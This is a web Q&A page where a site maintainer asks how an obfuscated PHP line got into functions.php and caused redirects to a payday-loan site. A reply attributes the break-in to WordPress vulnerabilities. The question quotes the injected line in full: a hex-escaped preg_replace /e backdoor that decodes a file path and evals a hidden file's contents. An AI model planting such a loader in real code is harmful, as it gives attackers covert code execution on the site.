Home/ Questions/Q 8530917
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Asked: 2026-06-11T09:21:55+00:00

Some how I have managed to be attacked in a very specific manner on

  • 0

Some how I have managed to be attacked in a very specific manner on a site I help mantain and I am looking into whether or not the server was directly hacked or someone was able to inject the malicious script somehow.

First someone managed to get this:

@preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");

Into the very top of a PHP file right after the files comments. What this, and most likey other code did, was 301 redirect anyone not connecting to the site through a browser to a payday loan site. This ONLY effected my homepage, all other pages where fine.

There was probably more code to do it but this was the most confusing part since this code sits in a file called functions.php which is only ever included however IT IS the first file to be included within index.php (my homepage).

It is completely confusing me how some one could have got code there without directly hacking the server, there is no user input used there, it is literally sitting above the entire file. There is nothing there except this injected code and some comments above.

My envo is:

Gentoo

PHP 5.2.14-pl0-gentoo

Apache 2

I have checked server logs however, as usual, they deleted their trail.

This is also partly, as you have noticed, a server question but atm it is 90% programming question so I thought I would ask it here first.

Is there any vulnerability within PHP that could cause this?

If you need clarification let me know.

Edit

I have a staging system which has a

  • Work
  • Preview
  • Live

I know this is nothing to do with SQL injection since if I switch live and preview folder around I get no problems. I also do not store the gentoo password within the DB or the App and you can only connect to the server in a small range of IP addresses except for Apache which accept 80 and 443 connections from any host. Plus I use SQL escaping classes and methods within the site (PDO, MySQLi etc).

So this problem (which is even more confusing) is only located within one copy of my site and not the DB or anything.

Share

Leave an answer

You must login to add an answer.

Need An Account,

1 Answer

  1. Editorial Team

    Ok so I understand how and why now. It was the one thing I thought it would never be: WordPress.

    I was basically a victim of: http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html

    Using a tool like: http://www.youtube.com/watch?v=y-Z5-uHvONc

    You see even though my main site is not made from wordpress and it has got a wordpress blog located at: /blog/ the hacker was able to use various WordPress vulnerabilities to get around the location problem and plant scripts on any part of the server.

    By the way, this actually happened on the latest install of WordPress. Double checked the version. We are not totally sure exactly when he placed the script (there are multiple instances of the foreign script being placed throughout the years!) but we do know this recent attack must have been sited also quite recently which puts the latest version (or the version before) under a huge amount of scrutiny.

    So a nice note of caution about WordPress there…

    • 0